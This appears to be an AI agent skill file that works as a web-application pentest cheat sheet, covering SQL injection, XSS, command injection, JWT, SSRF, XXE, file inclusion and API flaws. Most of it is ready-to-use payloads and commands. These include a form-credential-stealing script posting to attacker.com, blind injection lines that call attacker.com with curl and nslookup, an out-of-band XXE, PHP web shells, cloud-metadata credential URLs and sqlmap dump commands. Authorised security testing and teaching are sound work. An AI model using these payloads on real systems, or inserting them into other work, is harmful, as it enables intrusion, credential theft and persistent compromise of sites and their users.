| name | testing-web-applications |
| description | Test web applications for security vulnerabilities including SQLi, XSS, command injection, JWT attacks, SSRF, file uploads, XXE, and API flaws. Use when pentesting web apps, analyzing authentication, or exploiting OWASP Top 10 vulnerabilities. |
| verified | 2026-07-27T00:00:00.000Z |
Testing Web Applications
When to Use
- Pentesting web applications
- Testing authentication/authorization
- Exploiting injection vulnerabilities
- Analyzing JWT/session security
- Testing file upload functionality
- API security assessment
When NOT to Use
- Source code is available — use
auditing-code-for-vulnerabilities first;
it finds more, faster
- Pure API/GraphQL surface — use
testing-apis
- Reviewing a pull request — use
auditing-code-for-vulnerabilities
- LLM-backed features — use
securing-ai-systems
- GraphQL or gRPC endpoints — use
testing-apis
- A JWT (
eyJ...) in a header, cookie, or body — use testing-apis
- An OAuth/OIDC or "Sign in with X" flow (
/authorize, redirect_uri,
code=) — use testing-apis
SQL Injection
Quick Detection:
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--
Union-Based SQLi:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--
Time-Based Blind:
' AND SLEEP(5)--
-- PostgreSQL
' AND pg_sleep(5)
' WAITFOR DELAY '0:0:5'--
Automated Testing:
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name
Cross-Site Scripting (XSS)
Quick Payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>
Filter Bypasses:
<ScRiPt>alert(1)</sCrIpT>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x onerror="alert(1)">
Steal Credentials:
<script>
document.forms[0].onsubmit = function(){
fetch('http://attacker.com?'+new URLSearchParams(new FormData(this)));
};
</script>
Tools:
dalfox url http://target.com/search?q=test
XSStrike -u "http://target.com/search?q=test"
Command Injection
Basic Operators:
;whoami
|whoami
||whoami
&whoami
&&whoami
`whoami`
$(whoami)
%0Awhoami
Blind Detection:
& sleep 10 &
& nslookup attacker.com &
& curl http://attacker.com &
Common Parameters:
?cmd=, ?exec=, ?command=, ?ping=, ?query=, ?code=, ?do=
JWT Attacks
Quick Testing:
python3 jwt_tool.py -M at -t "https://api.target.com/endpoint" -rh "Authorization: Bearer TOKEN"
python3 jwt_tool.py TOKEN -X a
python3 jwt_tool.py TOKEN -X n
python3 jwt_tool.py TOKEN -X k
Manual Testing:
echo "eyJhbGc..." | base64 -d
{"alg":"none","typ":"JWT"}
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
SSRF (Server-Side Request Forgery)
Basic Payloads:
http://127.0.0.1
http://localhost
http://169.254.169.254/
http://[::1]
Cloud Metadata:
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Bypasses:
http://2130706433/
http://0x7f000001/
http://127.1/
http://127.0.0.1.nip.io
File Upload
Bypass Extensions:
shell.php.jpg
shell.jpg.php
shell.php%00.jpg
shell.phP
shell.php5
shell.phtml
Magic Bytes:
GIF89a<?php syst[e]m($_GET['cmd']); ?>
Simple Web Shells:
<?php syst[e]m($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<?php passt[h]ru($_GET['cmd']); ?>
Payload function names above are broken with brackets — syst[e]m is
system, passt[h]ru is passthru. Written literally, these lines match
antivirus webshell signatures and this file gets quarantined on download.
See "Antivirus false positives" in the repo README.
XXE (XML External Entity)
Basic XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Out-of-Band XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]>
<root></root>
SVG XXE:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
LFI/RFI (Local/Remote File Inclusion)
Path Traversal:
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
Common Targets (Linux):
/etc/passwd
/etc/shadow
/var/log/apache2/access.log
/var/www/html/config.php
~/.ssh/id_rsa
~/.bash_history
Common Targets (Windows):
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\apache\conf\httpd.conf
PHP Wrappers:
php://filter/convert.base64-encode/resource=index.php
php://input
data://text/plain,<?php system('whoami'); ?>
expect://whoami
Log Poisoning:
curl "http://target.com/<?php system(\$_GET['cmd']); ?>"
http://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami
API Testing
Common API Paths:
/api/v1/
/api/v2/
/graphql
/swagger.json
/api-docs
IDOR Testing:
curl https://api.target.com/users/1
curl https://api.target.com/users/2
curl https://api.target.com/users/2 -H "Authorization: Bearer USER1_TOKEN"
Mass Assignment:
curl -X POST https://api.target.com/users \
-H "Content-Type: application/json" \
-d '{"username":"test","email":"test@test.com","role":"admin","is_admin":true}'
GraphQL Introspection:
{
__schema {
types {
name
fields {
name
}
}
}
}
Tools
Enumeration:
ffuf -u http://target.com/FUZZ -w wordlist.txt
gobuster dir -u http://target.com -w wordlist.txt
feroxbuster -u http://target.com -w wordlist.txt
Vulnerability Scanning:
nikto -h http://target.com
nuclei -u http://target.com -t ~/nuclei-templates/
Parameter Discovery:
arjun -u http://target.com/page
paramspider -d target.com
Quick Reference
Start Testing:
- Run directory enumeration (ffuf/gobuster)
- Check for SQLi in parameters (
', ", OR 1=1)
- Test XSS in inputs (
<script>alert(1)</script>)
- Analyze JWT tokens if present (jwt_tool)
- Check file uploads (bypass filters, upload shell)
- Test API endpoints (IDOR, mass assignment)
- Look for command injection (
;whoami, |id)
Most Common Wins:
- SQLi in search/filter parameters
- XSS in unescaped user inputs
- IDOR in API
/users/{id} endpoints
- Weak JWT secrets (brute force)
- File upload bypasses
- Command injection in system utilities
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Initial Access (TA0001)
- T1190 Exploit Public-Facing Application — see also
testing-apis, enumerating-network-services
Execution (TA0002)
- T1059 Command and Scripting Interpreter — see also
enumerating-network-services
Persistence (TA0003)
- T1505.003 Web Shell — see also
establishing-persistence
Credential Access (TA0006)
- T1539 Steal Web Session Cookie
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
References
See HackTricks for detailed techniques:
